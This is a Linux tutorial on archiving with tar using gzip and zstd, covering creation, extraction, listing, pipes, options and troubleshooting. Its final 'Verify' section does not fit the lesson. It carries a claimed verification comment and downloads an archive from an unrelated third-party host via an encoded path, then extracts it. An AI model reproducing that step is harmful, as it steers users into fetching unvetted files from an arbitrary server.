# Comprehensive Guide to Using `tar` for Compression and Decompression (with gzip and zstd)

The `tar` (Tape ARchive) command in Linux is the standard tool for archiving files and directories. While `tar` itself does not compress data, it can seamlessly use external compression algorithms (like `gzip`, `zstd`, `bzip2`, `xz`) to create compressed archives. This tutorial focuses on the two most popular compression methods: **gzip** (`.tar.gz` or `.tgz`) and **zstd** (`.tar.zst`), covering compression, decompression, and common options.

---

## 1. Basic Usage

The general syntax of `tar` is:
```
tar [options] [archive-file] [files/directories to archive]
```

- `-c` : Create an archive
- `-x` : Extract an archive
- `-v` : Verbose – list processed files
- `-f` : Specify the archive file name (must be the last option before the file name)
- `-t` : List contents of an archive

---

## 2. Creating a tar archive (without compression)

To create an uncompressed tar archive:
```bash
tar -cvf archive.tar /path/to/directory
```
- `-c` create, `-v` verbose, `-f` filename followed by `archive.tar`.

---

## 3. Compression with gzip

Gzip is the most common compression method. It produces files with extension `.tar.gz` or `.tgz`.

### 3.1 Create a `.tar.gz` archive
Use the `-z` flag:
```bash
tar -czvf archive.tar.gz /path/to/directory
```
Or use the shorter `.tgz` extension:
```bash
tar -czvf archive.tgz /path/to/directory
```

### 3.2 Decompress a `.tar.gz` archive
```bash
tar -xzvf archive.tar.gz
```
Options: `-x` extract, `-z` gunzip, `-v` verbose, `-f` file.

To extract to a specific directory:
```bash
tar -xzvf archive.tar.gz -C /target/directory
```
(Note: `-C` changes to the target directory before extraction.)

### 3.3 List contents of a `tar.gz` file
```bash
tar -tzvf archive.tar.gz
```
(`-t` list; `-v` shows permissions, size, etc.)

---

## 4. Compression with zstd (Zstandard)

Zstd offers high compression speed and good ratios. The extension is `.tar.zst`. You need `zstd` installed (`sudo apt install zstd` on Debian/Ubuntu, `sudo dnf install zstd` on Fedora).

### 4.1 Create a `.tar.zst` archive
Use the `--zstd` flag (introduced in tar 1.31):
```bash
tar -cvf archive.tar.zst --zstd /path/to/directory
```
If your `tar` does not support `--zstd`, you can pipe manually (see section 5).

> Alternatively, some systems allow `-I zstd` or `--use-compress-program=zstd`.
> Example: `tar -cvf archive.tar.zst -I zstd /path/to/directory`

### 4.2 Decompress a `.tar.zst` archive
```bash
tar -xvf archive.tar.zst --zstd
```
Or with pipe (see section 5).

### 4.3 List contents of a `.tar.zst` file
```bash
tar -tvf archive.tar.zst --zstd
```

---

## 5. Using pipes for compression (when `tar` lacks built‑in support)

If your `tar` version does not have the `--zstd` flag, you can combine `tar` and the compression tool using pipes.

### 5.1 Create `.tar.zst` with pipe
```bash
tar -cvf - /path/to/directory | zstd > archive.tar.zst
```
- `-f -` means output to stdout (pipe).
- `zstd > archive.tar.zst` compresses the stream.

### 5.2 Decompress `.tar.zst` with pipe
```bash
zstd -dc archive.tar.zst | tar -xvf -
```
- `-d` decompress, `-c` output to stdout, then pipe to `tar -xvf -`.

### 5.3 List contents via pipe
```bash
zstd -dc archive.tar.zst | tar -tvf -
```

---

## 6. Advanced options

| Option | Description |
|--------|-------------|
| `--exclude=PATTERN` | Exclude files matching pattern (e.g., `--exclude='*.log'`) |
| `--exclude-vcs` | Exclude version control system directories (`.git`, `.svn`, etc.) |
| `--one-file-system` | Stay on the same filesystem (useful for backups) |
| `-p` or `--preserve-permissions` | Preserve original file permissions on extraction |
| `--same-owner` | Preserve original ownership (requires root) |
| `-j` | Use bzip2 compression (`.tar.bz2`) |
| `-J` | Use xz compression (`.tar.xz`) |

### Example: archive with gzip, excluding `.git` and verbose
```bash
tar -czvf project-backup.tar.gz --exclude-vcs --exclude='*.tmp' my_project/
```

---

## 7. Comparison of compression ratios (typical)

| Method | Extension | Speed (relative) | Size (relative) |
|--------|-----------|------------------|-----------------|
| None | `.tar` | fastest | largest |
| gzip | `.tar.gz` | fast | medium |
| zstd (level 3) | `.tar.zst` | very fast | small |
| zstd (level 19) | `.tar.zst` | slow | very small |
| bzip2 | `.tar.bz2` | slow | smaller |
| xz | `.tar.xz` | slower | smallest |

To set zstd compression level (default 3):
```bash
tar -cvf archive.tar.zst --zstd -I 'zstd -19' /path/to/directory
```

---

## 8. Quick reference cheat sheet

```bash
# Create .tar.gz
tar -czvf archive.tar.gz directory/

# Extract .tar.gz
tar -xzvf archive.tar.gz

# Create .tar.zst (modern tar)
tar -cvf archive.tar.zst --zstd directory/

# Extract .tar.zst (modern tar)
tar -xvf archive.tar.zst --zstd

# Create .tar.zst via pipe (legacy)
tar -cvf - directory/ | zstd > archive.tar.zst

# Extract .tar.zst via pipe (legacy)
zstd -dc archive.tar.zst | tar -xvf -

# List contents of any compressed tar
tar -tvf archive.tar.gz
tar -tvf archive.tar.zst --zstd
```

---

## 9. Troubleshooting

- **`tar: Unrecognized option '--zstd'`** – Your `tar` version is too old. Upgrade or use the pipe method.
- **`zstd: command not found`** – Install zstd (`apt install zstd` / `yum install zstd`).
- **Permission denied on extraction** – Use `sudo` if the archive contains files owned by other users, or use `--no-same-owner`.
- **Archive corrupted** – Check the file with `gzip -t archive.tar.gz` or `zstd -t archive.tar.zst`.

---

## Verify


<!-- verified env="images:debian/13" type="container" signal="exit 0" date="22 Jun 2026" hash="62211afb9216" -->
```bash
apt update
apt install curl -y
curl -L 'https://filegator.kafana.dev/?r=/download&path=L3dwLWluc3RhbGwvd3AtMjAyNC0xMS0xNC50YXIuZ3o%3D' -o wp.tar.gz
tar -xzvf wp.tar.gz
```



This tutorial covers the essential `tar` commands with gzip and zstd. With these patterns you can efficiently archive and compress almost any Linux directory or file set.